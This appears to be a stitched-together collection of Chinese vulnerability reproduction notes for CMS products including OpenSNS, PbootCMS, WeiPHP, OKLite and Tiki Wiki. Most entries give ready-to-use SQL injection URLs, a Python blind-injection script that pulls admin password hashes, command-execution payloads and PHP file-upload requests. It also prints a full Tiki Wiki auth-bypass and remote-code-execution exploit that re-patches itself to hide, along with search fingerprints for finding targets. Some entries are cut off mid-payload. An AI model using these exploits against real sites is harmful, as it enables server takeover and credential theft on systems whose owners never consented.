Ke361 MenuController.class.php 后台SQL注入漏洞 CNVD-2021-25002
漏洞描述
Ke361 MenuController.class.php文件 index() 函数中的pid参数存在 SQL注入漏,导致攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
Ke361环境搭建
漏洞复现
存在漏洞的文件为 Application/Admin/Controller/MenuController.class.php
Get 传参 pid 传入SQL语句
SELECT `id`,`title`,`pid`,`sort`,`url`,`hide`,`tip`,`group`,`is_dev`,`status` FROM `ke_menu` WHERE (id=1)使用括号闭合语句,构造SQL注入
/admin.php?s=/Menu/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+File: CMS漏洞/Ke361 TopicController.class.php SQL注入漏洞 CNVD-2017-04380.md
Ke361 TopicController.class.php SQL注入漏洞 CNVD-2017-04380
漏洞描述
Ke361 TopicController.class.php 文件中 detai() 函数中存在 SQL注入漏洞
漏洞影响
Ke361环境搭建
漏洞复现
存在漏洞的文件为 Application/Home/Controller/TopicController.class.php, 漏洞函数详情
public function detail(){
$id = I('id');
$where['tid'] = $id;
$TopicModel = new TopicModel();
$topicInfo = $TopicModel->info($id);
// if(empty($topicInfo)){
// $this->error('您查看的专题不存在哦!');
// }
// 这里注释掉,默认不存在专题
M('Topic')->where('id='.$id)->setInc('hits');
$this->setSiteTitle($topicInfo['title']);
$goods = $this->lists(D('Goods'),$where);
foreach ($goods as $k=>$v){
$goods[$k]['url'] = U('/goods/'.$v['id']);
}
$this->assign('goods',$goods);
$this->assign('topic',$topicInfo);
$this->display();
}这里接收参数 id,然后执行SQL语句, 通过报错注入可以获取数据库数据
/index.php?s=/Topic/detail/id/1)%20%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+File: CMS漏洞/Liferay Portal CE 反序列化命令执行漏洞 CVE-2020-7961.md
[Binary file]
File: CMS漏洞/OKLite 1.2.25 后台插件安装 任意文件上传.md
OKLite 1.2.25 后台插件安装 任意文件上传
漏洞描述
OKLite v1.2.25 后台插件过滤不完善导致可以上传恶意木马文件
漏洞影响
OKLite 1.2.25漏洞复现
关于执行逻辑参照上一篇 OKLite 1.2.25 后台模块导入 任意文件上传 CVE-2019-16131
出现漏洞的位置在于framework/admin/plugin_control.php
public function unzip_f()
{
$id = $this->get('id','int');
$rs = $this->model('res')->get_one($id);
if(!$rs){
$this->json(P_Lang('附件不存在'));
}
if($rs['ext'] != 'zip'){
$this->json(P_Lang('非ZIP文件不支持在线解压'));
}
if(!file_exists($this->dir_root.$rs['filename'])){
$this->json(P_Lang('文件不存在'));
}
$info = $this->lib('phpzip')->zip_info($this->dir_root.$rs['filename']);
$info = current($info);
if(!$info['filename']){
$this->json(P_Lang('插件有异常'));
}
$info = explode('/',$info['filename']);
if(!$info[0]){
$this->json(P_Lang('插件有异常'));
}
if(file_exists($this->dir_root.'plugins/'.$info[0])){
$this->json(P_Lang('插件已存在,不允许重复解压'));
}
if(!$info[1]){
$this->json(P_Lang('插件打包模式有问题'));
}
$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
$this->json(true);
}这里可以看到需要上传ZIP压缩包格式的插件,跟进zip_info函数
函数位置 framework/libs/phpzip.php
这里会返回关于ZIP压缩包的一些信息
往下看关键位置
$info = explode('/',$info['filename']);
if(!$info[0]){
$this->json(P_Lang('插件有异常'));
}
if(file_exists($this->dir_root.'plugins/'.$info[0])){
$this->json(P_Lang('插件已存在,不允许重复解压'));
}
if(!$info[1]){
$this->json(P_Lang('插件打包模式有问题'));
}
$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
$this->json(true);这里用 explode函数以 / 分隔返回两个值,也就是说格式应为 AAA/BBB这样的目录格式,直接上传ZIP文件则会报错 插件打包模式有问题
在这里上传一个ZIP文件,格式要是解压出来为目录,目录中含PHP文件就行了
$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
$this->json(true);最后两行告诉了文件解压的位置,上传的文件在 plugins目录下
File: CMS漏洞/OKLite 1.2.25 后台模块导入 任意文件上传 CVE-2019-16131.md
OKLite 1.2.25 后台模块导入 任意文件上传 CVE-2019-16131
漏洞描述
OKLite v1.2.25 后台模块导入过滤不完善导致可以上传恶意木马文件
漏洞影响
OKLite 1.2.25漏洞复现
首先要先清楚它的执行流程
查看文件 framework/init.php
在往下面看可以看到执行函数的逻辑
例如 http://127.0.0.1/admin.php?c=ABC&f=EFG
则是调用 framework\admin\ABC_control.php中的EFG_f方法
看到在后台有一个 ZIP 文件上传的函数,找一下上传ZIP文件的位置
模块管理 --> 模块导入
回头看下函数方法的调用
public function zipfile($input,$folder='')
{
if(!$input){
return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
}
//如果未指定存储文件夹,则使用
if(!$folder){
$folder = 'data/cache/';
}
$this->cateid = 0;
$this->set_dir($folder);
$this->set_type('zip');
$this->cate = array('id'=>0,'filemax'=>104857600,'root'=>$folder,'folder'=>'/','filetypes'=>'zip');
if(isset($_FILES[$input])){
$rs = $this->_upload($input);
}else{
$rs = $this->_save($input);
}
if($rs['status'] != 'ok'){
return $rs;
}
$rs['cate'] = $this->cate;
return $rs;
}这里的 上传目录默认为 data/cache 这个目录,并调用了两个方法 upload 和 save
可以看到这里其实对上传的zip并没有对里面的文件有什么过滤,任意上传一个ZIP文件抓包
test.php文件内容 如下,打包为 test.zip 上传
<?php phpinfo();?>可以看到这里调用的方法是 upload_control中的 zip 方法
这里放包后发现调用了另一个方法,跟踪下代码 framework/admin/module_control.php 中的 import_f方法
这里的方法为解压方法,说明ZIP文件上传的逻辑为
模块上传 --> ZIP文件写入 data/cache --> 解压刚刚的ZIP文件到 data/cache 目录
所以这里的流程完全是没有过滤危险文件的,将一个木马文件打包为ZIP文件上传访问即可
File: CMS漏洞/OKLite 1.2.25 后台风格模块 任意文件删除 CVE-2019-16132.md
OKLite 1.2.25 后台风格模块 任意文件删除 CVE-2019-16132
漏洞描述
OKLite 1.2.25 后台风格模块存在 对危险字符未过滤,导致可以删除任意目录和文件
漏洞影响
OKLite 1.2.25漏洞复现
出现漏洞的函数在文件 framework/admin/tpl_control.php 中的 delfile_f() 函数
这里删除文件主要调用了 rm函数, 位置在 framework/libs/file.php
/**
* 删除操作,请一定要小心,在程序中最好严格一些,不然有可能将整个目录删掉
* @参数 $del 要删除的文件或文件夹
* @参数 $type 仅支持file和folder,为file时仅删除$del文件,如果$del为文件夹,表示删除其下面的文件。为folder时,表示删除$del这个文件,如果为文件夹,表示删除此文件夹及子项
* @返回 true/false
**/
public function rm($del,$type="file")
{
if(!file_exists($del)){
return false;
}
if(is_file($del)){
unlink($del);
return true;
}
$array = $this->_dir_list($del);
if(!$array){
if($type == 'folder'){
rmdir($del);
}
return true;
}
foreach($array as $key=>$value){
if(file_exists($value)){
if(is_dir($value)){
$this->rm($value,$type);
}else{
unlink($value);
}
}
}
if($type == "folder"){
rmdir($del);
}
return true;
}这里对传入的参数遍历,获得的文件名或文件夹进行删除
回过头看 调用get函数传入参数时是否有对 ../ 的过滤
可以看到参数我们是可控的,使用这里的漏洞进行任意文件删除
抓包修改成功删除文件
File: CMS漏洞/OneBlog 开源博客管理系统 远程命令执行漏洞.md
OneBlog 开源博客管理系统 远程命令执行漏洞
漏洞描述
由于使用含有漏洞版本的Apache Shiro和默认的密钥,导致OneBlog存在远程命令执行漏洞。
漏洞复现
shiro 默认密钥:
File: CMS漏洞/OpenSNS Application ShareController.class.php 远程命令执行漏洞.md
OpenSNS Application ShareController.class.php 远程命令执行漏洞
漏洞描述
OpenSNS 存在远程命令执行漏洞,攻击者通过漏洞发送特定的请求包可以执行任意命令
漏洞影响
OpenSNS网络测绘
icon_hash="1167011145"漏洞复现
登录页面如下
存在漏洞的文件 Application/Weibo/Controller/ShareController.class.php
发送Payload
/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)File: CMS漏洞/OpenSNS AuthorizeController.class.php 后台远程命令执行漏洞.md
OpenSNS AuthorizeController.class.php 后台远程命令执行漏洞
漏洞描述
OpenSNS AuthorizeController.class.php文件 ssoCallback() 函数存在命令执行漏洞,在登录的情况下可以获取服务器权限
漏洞影响
OpenSNS网络测绘
icon_hash="1167011145"漏洞复现
登录页面如下
存在漏洞的文件为 Application/Admin/Controller/AuthorizeController.class.php
其中 config参数可控,构造请求就可以通过 file_put_contents 写入执行任意命令
构造请求包
POST /admin.php?s=/Authorize/ssoCallback\
config[SSO_CONFIG]=phpinfo();File: CMS漏洞/OpenSNS ChinaCityController.class.php SQL注入漏洞.md
OpenSNS ChinaCityController.class.php SQL注入漏洞
漏洞描述
OpenSNS ChinaCityController.class.php文件中,可通过拼接SQL语句执行任意SQL命令,获取用户账号密码
漏洞影响
OpenSNS网络测绘
icon_hash="1167011145"漏洞复现
登录页面如下
存在漏洞的文件为Addons/ChinaCity/Controller/ChinaCityController.class.php
其中用户可控参数为 cid 和 pid, 通过调试查看SQL语句
通过构造请求闭合SQL语句,造成SQL注入
POST /index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html
cid=0&pid[0]==(select*from(select+sleep(3)union/**/select+1)a)and+1+in+&pid[1]=1通过二分法延时注入可以获取用户账号密码,登录后台
import time
import requests
url = "http://peiqi.com:8888/index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html"
flag = ""
for i in range(1,100):
low = 32
high = 128
while low < high:
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest"
}
mid = (low + high)//2
data = "cid=0&pid[0]==(select*from(select+if(ascii(substr((select/**/password/**/from/**/ocenter_ucenter_member),{},1))<{},sleep(2),1)union/**/select+1)a)and+3+in+&pid[1]=3".format(i,mid)
timeStart = time.time()
r = requests.post(url=url, data=data, headers=headers)
timeEnd = time.time()
# print(r.text, low, high, data,timeStart-timeEnd)
if timeEnd - timeStart >= 1:
high = mid
else:
low = mid + 1
if low == high == 32:
print("No result")
break
flag += chr((high + low - 1)//2)
print(flag)File: CMS漏洞/OpenSNS CurlModel.class.php SSRF漏洞.md
OpenSNS CurlModel.class.php SSRF漏洞
漏洞描述
OpenSNS CurlModel.class.php文件中curl方法存在SSRF漏洞,通过漏洞攻击者可以探测内网信息
漏洞影响
OpenSNS网络测绘
icon_hash="1167011145"漏洞复现
登录页面如下
存在漏洞的文件为 Application/Admin/Model/CurlModel.class.php
构造POC
/?s=weibo/share/shareBox&query=app=Admin%26model=Curl%26method=curl%26id=http://92aq2z.dnslog.cnFile: CMS漏洞/OpenSNS ThemeController.class.php 后台任意文件上传漏洞.md
OpenSNS ThemeController.class.php 后台任意文件上传漏洞
漏洞描述
OpenSNS ThemeController.class.php文件中存在文件上传载,其中过滤不足导致可以上传至服务器任意文件
漏洞影响
OpenSNS网络测绘
icon_hash="1167011145"漏洞复现
登录页面如下
登录后的上传页面/admin.php?s=/theme/add.html
存在漏洞的文件为 Application/Admin/Model/ThemeController.class.php
其中只需要文件后缀为 zip和rar 就会成功上传并解压至当前的 Theme目录中
File: CMS漏洞/OpenSNS ThemeController.class.php 后台任意文件下载漏洞.md
OpenSNS ThemeController.class.php 后台任意文件下载漏洞
漏洞描述
OpenSNS ThemeController.class.php文件中存在文件下载,其中过滤不足导致可以下载服务器任意文件
漏洞影响
OpenSNS网络测绘
icon_hash="1167011145"漏洞复现
登录页面如下
存在漏洞的文件为 Application/Admin/Model/ThemeController.class.php
其中 theme参数为用户可控参数,根据函数流程可以发现存在的文件将会打包为 zip文件提供下载
构造请求
POST /admin.php?s=/theme/packageDownload
theme=../Conf/common.phpFile: CMS漏洞/Pb-CMS Shiro默认密钥 远程命令执行漏洞.md
Pd-CMS Shiro默认密钥 远程命令执行漏洞
漏洞描述
Pd-CMS存在Shiro默认密钥,攻击者通过已知的密钥将会造成Shiro远程命令执行漏洞
漏洞影响
Pd-CMS网络测绘
"pb-cms"漏洞复现
主页面
默认密钥
3AvVhmFLUs0KTA3Kprsdag==File: CMS漏洞/PbootCMS domain SQL注入漏洞.md
PbootCMS domain SQL注入漏洞
漏洞描述
PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息
漏洞影响
PbootCMS <= 3.0.5网络测绘
app="PBOOTCMS"漏洞复现
本地搭建最新版本,访问首页
我们需要访问一个存在的页面
url中13后加个单引号 ',若为执行sql报错相关,则漏洞存在
若显示下图,则漏洞无法利用
程序默认搭建为sqlite3数据库, Fuzz当前数据库表单payload
')%0aand%0a(SELECT%0acount(tbl_name)%0aFROM%0asqlite_master%0aWHERE%0atype%3d'ta ble'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%')<40--通过此payload进行盲注Fuzz数据库中表单总数是否小于40
查询为真返回正常,假则报错
由此我们可以准确推断出表单总数
计算sqlite数据库中第一个表名长度,我们可以使用如下payload:
')%0aand%0a(SELECT%0alength(tbl_name)%0aFROM%0asqlite_master%0aWHERE%0atype%3d't able'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%'%0alimit%0a猜解第一个表名称,我们可以使用如下payload:
')%0aand%0a(SELECT%0asubstr(tbl_name,1,1)%0aFROM%0asqlite_master%0aWHERE%0atype% 3d'table'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%'%0alimi这样可以得到数据库第一个表的第一位数值为字符串"a"
通过substr()函数,我们可以很轻松的得到表名称.
同理可获取其他数据
在Mysql下的利用方式
猜解当前数据库名称 可以使用如下payload进行Fuzz:
')%0aand%0a(select%0asubstr(database(),1,1)%3d'p')%23查询为真时页面将返回正常.
使用Burpsuite可以爆破出数据库名称,其他表名字段名等方法相同
File: CMS漏洞/PbootCMS ext_price SQL注入漏洞.md
PbootCMS ext_price SQL注入漏洞
漏洞描述
PbootCMS 存在SQL注入漏洞。通过漏洞可获取数据库敏感信息
漏洞影响
PbootCMS < 1.2.1网络测绘
app="PBOOTCMS"漏洞复现
主页
测试 Payload
/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,user(),0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123](http://127.0.0.1/PbootCMS/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,user(),0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123)File: CMS漏洞/PbootCMS search SQL注入漏洞.md
PbootCMS search SQL注入漏洞
漏洞描述
PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息
漏洞影响
PbootCMS < 1.2.1网络测绘
app="PBOOTCMS"漏洞复现
搜索框页面为
Payload为
/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123](http://127.0.0.1/PbootCMS/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123)File: CMS漏洞/PbootCMS V3.1.2 正则绕过 RCE 漏洞.md
PbootCMS V3.1.2 正则绕过 RCE 漏洞
漏洞描述
PbootCMS 项目路径下 /common/function.php 中存在两个函数 get_lg 和 get_backurl,可绕过正则处理,进而执行命令。
漏洞复现
Bypass exp:
?snakin=}{pboot:if((get_lg/*-*/())/**/(get_backurl/*-*/()))}{/pboot:if}&backurl=;idLinux exp:
GET /index.php/keyword?keyword=}{pboot:if((get_lg/*aaa-*/())/**/(get_backurl/*aaa-*/()))}123321aaa{/pboot:if}&backurl=;id HTTP/1.1
Host: your-ip
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: your-ip
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lg=system; PbootSystem=8ea446nv2usihctikbjm7qg6c6
Connection: closeWindows exp:
GET /?member/login/?a=}{pboot:if((get_lg/*aaa-*/())/**/("whoami"))}{/pboot:if} HTTP/1.1
Host: your-ip
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer:your-ip
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lg=system; PbootSystem=8ea446nv2usihctikbjm7qg6c6
Connection: close写 webshell 时用 file_put_contents 写入时有关键字限制:
可使用 copy 函数远程落地。
File: CMS漏洞/PigCMS action_flashUpload 任意文件上传漏洞.md
PigCMS action_flashUpload 任意文件上传漏洞
漏洞描述
PigCMS action_flashUpload 方法中存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件获取到服务器权限
漏洞影响
pigcms
网络测绘
app.name="PigCMS"漏洞复现
登陆页面
验证POC
POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----aaa
------aaa
Content-Disposition: form-data; name="filePath"; filename="test.php"
Content-Type: video/x-flv
<?php phpinfo();?>
------aaa/cms/upload/images/2023/08/11/1691722887xXbx.phpFile: CMS漏洞/ShopXO download 任意文件读取漏洞 CNVD-2021-15822.md
ShopXO download 任意文件读取漏洞 CNVD-2021-15822
漏洞描述
ShopXO是一套开源的企业级开源电子商务系统。ShopXO存在任意文件读取漏洞,攻击者可利用该漏洞获取敏感信息
漏洞影响
ShopXO网络测绘
app="ShopXO企业级B2C电商系统提供商"漏洞复现
商城主页如下
发送漏洞请求包
GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1其中 /url/xxxx 中的 base64 解码后为 /etc/passwd
File: CMS漏洞/Tiki Wiki CMS Groupware 认证绕过漏洞 CVE-2020-15906.md
Tiki Wiki CMS Groupware 认证绕过漏洞 CVE-2020-15906
漏洞描述
Tiki Wiki CMS Groupware或简称为Tiki(最初称为TikiWiki)是一种免费且开源的基于Wiki的内容管理系统和在线办公套件。在如下这些版本21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一处逻辑错误,管理员账户被爆破60次以上时将被锁定,此时使用空白密码即可以管理员身份登录后台。
参考链接:
- https://info.tiki.org/article473-Security-Releases-of-all-Tiki-versions-since-16-3
- https://github.com/S1lkys/CVE-2020-15906
- http://packetstormsecurity.com/files/159663/Tiki-Wiki-CMS-Groupware-21.1-Authentication-Bypass.html
- https://srcincite.io/pocs/cve-2021-26119.py.txt
环境搭建
Vulhub执行如下命令启动一个Tiki Wiki CMS 21.1:
需要通过
dos2unix docker-entrypoint.sh命令将其转换成为unix格式文件。
docker-compose up -d环境启动后,访问http://your-ip:8080/tiki-login_scr.php可以看到其欢迎页面。
漏洞复现
python poc.py your-ip:8080 / id注意,受到漏洞原理的影响,执行该POC会导致管理员账户被锁定。
漏洞POC
#!/usr/bin/env python3
"""
Tiki Wiki CMS GroupWare Serverside Template Injection Remote Code Execution Vulnerability
This is a demonstration of CVE-2021-26119 (Smarty Template Engine template_object Sandbox Escape PHP Code Injection)
Written by: Steven Seeley of Qihoo 360 Vulcan Team
Exploit tested against: Tiki Wiki 20.3 (Tarazed)
Bug 1: CVE-2020-15906
- An unauthenticated user can bypass the authentication by bruteforcing the admin account > 50 times and login with a blank password
- Works on: <= 21.1 (UY_Scuti)
Bug 2: CVE-2021-26119
- An admin user can trigger a serverside template injection and gain remote code execution by escaping the sandbox of the Smarty Template Engine by leveraging the 'template_object' property
- Works on: <= 22.2 (Corona_Borealis) and impacts Smarty <= 3.1.38 (latest)
# Notes
- *WARNING* This exploit will lock out the administrator account
- It was possible in older versions of Tiki Wiki (including 20.3) that you could:
1. Edit Smarty templates with a user that had the 'tiki_p_edit_templates' privilege, but Tiki clued into this and has since disabled this 'feature' by default, see using [Risky preferences](https://doc.tiki.org/Risky-Preferences)
2. Disable the Smarty sandbox entirely by unchecking the "Smarty Security" checkbox in the general security tab which is no longer possible.
However it's still possible for an admin (or user with the 'tiki_p_admin' permission assigned) to add Smarty template syntax to the 'feature_custom_html_head_content' option under [Customization](http://doc.tiki.org/Customization) in the [Look and Feel](http://doc.tiki.org/Look-and-Feel) control panel menu. This is enough for attackers to escape the Smarty sandbox leveraging either CVE-2021-26119 or CVE-2021-26120 and execute arbitrary remote code.
# Example
researcher@incite:~/tiki$ ./poc.py
(+) usage: ./poc.py <host> <path> <cmd>
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id
researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ "id;uname -a;pwd;head /etc/passwd"
(+) blanking password...
(+) admin password blanked!
(+) getting a session...
(+) auth bypass successful!
(+) triggering rce...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/tiki-20.3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
# References
- Maximilian Barz's poc at https://github.com/S1lkys/CVE-2020-15906
"""
import requests
import sys
import re
def auth_bypass(s, t, d):
h = { "referer" : t }
d["ticket"] = get_ticket(s, "%stiki-login.php" % t)
d["pass"] = "" # auth bypass is here
r = s.post("%stiki-login.php" % t, data=d, headers=h)
r = s.get("%stiki-admin.php" % t)
assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"
def black_password(s, t, d):
uri = "%stiki-login.php" % t
# setup cookies here
s.get(uri)
ticket = get_ticket(s, uri)
# crafted especially so unsuccessful_logins isn't recorded
for i in range(0, 51):
r = s.post(uri, d)
if("Account requires administrator approval." in r.text):
print("(+) admin password blanked!")
return
raise Exception("(-) auth bypass failed!")
def get_ticket(s, uri):
h = { "referer" : uri }
r = s.get(uri)
match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text)
assert match, "(-) csrf ticket leak failed!"
return match.group(1)
def trigger_or_patch_ssti(s, t, c=None):
# CVE-2021-26119
p = { "page": "look" }
h = { "referer" : t }
bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % c
d = {
"ticket" : get_ticket(s, "%stiki-admin.php" % t),
"feature_custom_html_head_content" : bypass if c else '',
"lm_preference[]": "feature_custom_html_head_content"
}
r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)
r = s.get("%stiki-index.php" % t)
if c != None:
assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"
cmdr = r.text.split("startrce")[1].split("endrce")[0]
print(cmdr.strip())
def main():
if(len(sys.argv) < 4):
print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])
print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])
return
p = sys.argv[2]
c = sys.argv[3]
p = p + "/" if not p.endswith("/") else p
p = "/" + p if not p.startswith("/") else p
t = "http://%s%s" % (sys.argv[1], p)
s = requests.Session()
print("(+) blanking password...")
d = {
'user':'admin',
'pass':'trololololol',
}
black_password(s, t, d)
print("(+) getting a session...")
auth_bypass(s, t, d)
print("(+) auth bypass successful!")
print("(+) triggering rce...\n")
# trigger for rce
trigger_or_patch_ssti(s, t, c)
# patch so we stay hidden
trigger_or_patch_ssti(s, t)
if __name__ == '__main__':
main()File: CMS漏洞/TypesetterCMS 后台任意文件上传.md
TypesetterCMS 后台任意文件上传
漏洞描述
可以通过将.php放在.zip文件中并解压缩来绕过对.php文件的保护。一旦完成,就可以使用恶意的php文件(webshell)在计算机上执行命令
参考阅读:
漏洞影响
Typesetter CMS 5-5.1漏洞复现
按如下步骤复现
File: CMS漏洞/UCMS 文件上传漏洞 CVE-2020-25483.md
UCMS 文件上传漏洞 CVE-2020-25483
漏洞描述
UCMS v1.4.8版本存在安全漏洞,该漏洞源于文件写的fopen()函数存在任意命令执行漏洞,攻击者可利用该漏洞可以通过该漏洞访问服务器。
环境搭建
访问/ucms/login.php,显示正常及环境安装成功。
漏洞复现
登录账户
poc:
访问/ucms/index.php?do=sadmin_fileedit&dir=/&file=1.php抓包。
写入php代码,发送。
POST /ucms/index.php?do=sadmin_fileedit&dir=/&file=1.php HTTP/1.1
Host: ucms.com
Content-Length: 58
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ucms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ucms.com/ucms/index.php?do=sadmin_fileedit&dir=/&file=CNVD.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: admin_213f42=admin; psw_213f42=0ef8fa2c997f64b78cde98b6c7c9cc0a; token_213f42=78012aac
Connection: close
uuu_token=78012aac&co=%3C%3Fphp+phpinfo%28%29%3F%3E&pos=17get /1.php
File: CMS漏洞/WeiPHP3.0 session_id 任意文件上传漏洞.md
WeiPHP3.0 session_id 任意文件上传漏洞
漏洞描述
WeiPHP3.0 session_id 存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件
漏洞影响
WeiPHP3.0网络测绘
app="weiphp"漏洞复现
登陆页面标识
发送请求包上传文件
POST /index.php?s=%2FHome%2FFile%2Fupload%2Fsession_id%2Fscevs8hub3m5ogla05a421hb42.html HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 831
Content-Type: multipart/form-data; boundary=------------------------e37a54d7d5380c9f
Accept-Encoding: gzip
--------------------------e37a54d7d5380c9f
Content-Disposition: form-data; name="download"; filename="882176.php"
Content-Type: application/octet-stream
<?php
phpinfo();
--------------------------e37a54d7d5380c9f--获取目录后访问回显的 path
File: CMS漏洞/WeiPHP5.0 bind_follow SQL注入漏洞.md
WeiPHP5.0 bind_follow SQL注入漏洞
漏洞描述
Weiphp5.0 所有使用了 wp_where() 函数并且参数可控的SQL查询均受到影响,前台后台均存在注入。
漏洞影响
Weiphp5.0网络测绘
app="WeiPHP"漏洞复现
登陆页面
验证POC
/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5(%271%27),0x7e),1)--+File: CMS漏洞/WeiPHP5.0 download_imgage 前台文件任意读取 CNVD-2020-68596.md
WeiPHP5.0 download_imgage 前台文件任意读取 CNVD-2020-68596
漏洞描述
Weiphp5.0 存在前台文件任意读取漏洞,可以读取数据库配置等敏感文件
漏洞影响
Weiphp <= 5.0网络测绘
app="WeiPHP"环境搭建
参考官方手册创建网站即可
漏洞函数文件:application\material\controller\Material.php
漏洞函数:_download_imgage
public function _download_imgage($media_id, $picUrl = '', $dd = null)
{
$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
mkdirs($savePath);
$cover_id = 0;
if (empty($picUrl)) {
// 获取图片URL
$url = 'https://api.weixin.qq.com/cgi-bin/material/get_material?access_token=' . get_access_token();
$param['media_id'] = $media_id;
// dump($url);
$picContent = post_data($url, $param, 'json', false);
$picjson = json_decode($picContent, true);
// dump($picjson);die;
if (isset($picjson['errcode']) && $picjson['errcode'] != 0) {
$cover_id = do_down_image($media_id, $dd['thumb_url']);
if (!$cover_id) {
return 0;
exit();
}
}
$picName = NOW_TIME . uniqid() . '.jpg';
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $picContent);
} else {
$content = wp_file_get_contents($picUrl);
// 获取图片扩展名
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
$picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);
if (!$res) {
$cover_id = do_down_image($media_id);
if (!$cover_id) {
return 0;
exit();
}
}
}
if ($res) {
$file = array(
'name' => $picName,
'type' => 'application/octet-stream',
'tmp_name' => $picPath,
'size' => $res,
'error' => 0
);
$File = D('home/Picture');
$cover_id = $File->addFile($file);
}
return $cover_id;
}首先注意到函数的标识为public,也就是这个函数是公共调用的,并且变量picUrl为可控变量
根据代码从上向下分析
